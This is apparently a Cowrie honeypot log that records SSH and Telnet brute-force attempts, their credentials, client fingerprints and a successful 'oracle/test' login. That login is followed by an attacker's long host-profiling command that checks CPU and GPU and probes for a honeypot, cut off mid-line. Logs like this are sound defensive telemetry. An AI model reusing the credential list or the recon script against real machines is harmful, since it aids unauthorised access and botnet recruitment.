{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:11.770090Z","src_ip":"160.187.174.22","session":"a78bb87fa7b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:12.604822Z","src_ip":"160.187.174.22","session":"a78bb87fa7b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:13.859569Z","src_ip":"160.187.174.22","session":"a78bb87fa7b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0072979927063,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:24.439421Z","src_ip":"170.64.224.25","session":"174f29db273f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39660,"dst_ip":"159.203.135.109","dst_port":23,"session":"fda03b6980da","protocol":"telnet","message":"New connection: 170.64.224.25:39660 (159.203.135.109:23) [session: fda03b6980da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:27.755016Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38638,"dst_ip":"159.203.135.109","dst_port":23,"session":"e417c2ef62c9","protocol":"telnet","message":"New connection: 170.64.224.25:38638 (159.203.135.109:23) [session: e417c2ef62c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:30.449052Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.220.174","src_port":38766,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7de99cac1c4","protocol":"ssh","message":"New connection: 108.179.220.174:38766 (10.17.0.5:22) [session: a7de99cac1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:37.233367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:37.236668Z","src_ip":"108.179.220.174","session":"a7de99cac1c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:37.260999Z","src_ip":"108.179.220.174","session":"a7de99cac1c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"L1n3@!M@st3r","message":"login attempt [root/L1n3@!M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:37.335333Z","src_ip":"108.179.220.174","session":"a7de99cac1c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:38.363085Z","src_ip":"108.179.220.174","session":"a7de99cac1c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":36682,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1785107e331","protocol":"ssh","message":"New connection: 160.187.174.22:36682 (159.203.135.109:22) [session: e1785107e331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:41.531765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:41.536714Z","src_ip":"160.187.174.22","session":"e1785107e331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:41.765656Z","src_ip":"160.187.174.22","session":"e1785107e331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:42.688417Z","src_ip":"160.187.174.22","session":"e1785107e331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:43.924251Z","src_ip":"160.187.174.22","session":"e1785107e331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57482,"dst_ip":"159.203.135.109","dst_port":23,"session":"38b1bacab39b","protocol":"telnet","message":"New connection: 170.64.224.25:57482 (159.203.135.109:23) [session: 38b1bacab39b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:50.240878Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":46550,"dst_ip":"10.17.0.5","dst_port":22,"session":"409fe1b95a22","protocol":"ssh","message":"New connection: 89.223.69.22:46550 (10.17.0.5:22) [session: 409fe1b95a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:55.656896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:55.661361Z","src_ip":"89.223.69.22","session":"409fe1b95a22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:55.765934Z","src_ip":"89.223.69.22","session":"409fe1b95a22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"78900987","message":"login attempt [root/78900987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:56.080949Z","src_ip":"89.223.69.22","session":"409fe1b95a22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:47:57.188037Z","src_ip":"89.223.69.22","session":"409fe1b95a22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.172","src_port":40940,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd81d8877b07","protocol":"ssh","message":"New connection: 162.241.132.172:40940 (10.17.0.5:22) [session: dd81d8877b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:02.605015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:02.609693Z","src_ip":"162.241.132.172","session":"dd81d8877b07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:02.642216Z","src_ip":"162.241.132.172","session":"dd81d8877b07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"siacoin123","password":"siacoin123","message":"login attempt [siacoin123/siacoin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:02.729844Z","src_ip":"162.241.132.172","session":"dd81d8877b07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:03.761046Z","src_ip":"162.241.132.172","session":"dd81d8877b07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47296,"dst_ip":"159.203.135.109","dst_port":23,"session":"6638d39f3324","protocol":"telnet","message":"New connection: 170.64.224.25:47296 (159.203.135.109:23) [session: 6638d39f3324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:09.601420Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":34220,"dst_ip":"10.17.0.5","dst_port":22,"session":"c428e645fd02","protocol":"ssh","message":"New connection: 91.92.40.4:34220 (10.17.0.5:22) [session: c428e645fd02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:10.990440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:11.030966Z","src_ip":"91.92.40.4","session":"c428e645fd02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:11.165632Z","src_ip":"91.92.40.4","session":"c428e645fd02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34240,"dst_ip":"159.203.135.109","dst_port":22,"session":"45871c9c469e","protocol":"ssh","message":"New connection: 160.187.174.22:34240 (159.203.135.109:22) [session: 45871c9c469e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:11.205422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:11.210955Z","src_ip":"160.187.174.22","session":"45871c9c469e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"test","message":"login attempt [oracle/test] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:11.412068Z","src_ip":"91.92.40.4","session":"c428e645fd02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:11.455036Z","src_ip":"160.187.174.22","session":"45871c9c469e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:11.615989Z","src_ip":"91.92.40.4","session":"c428e645fd02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo 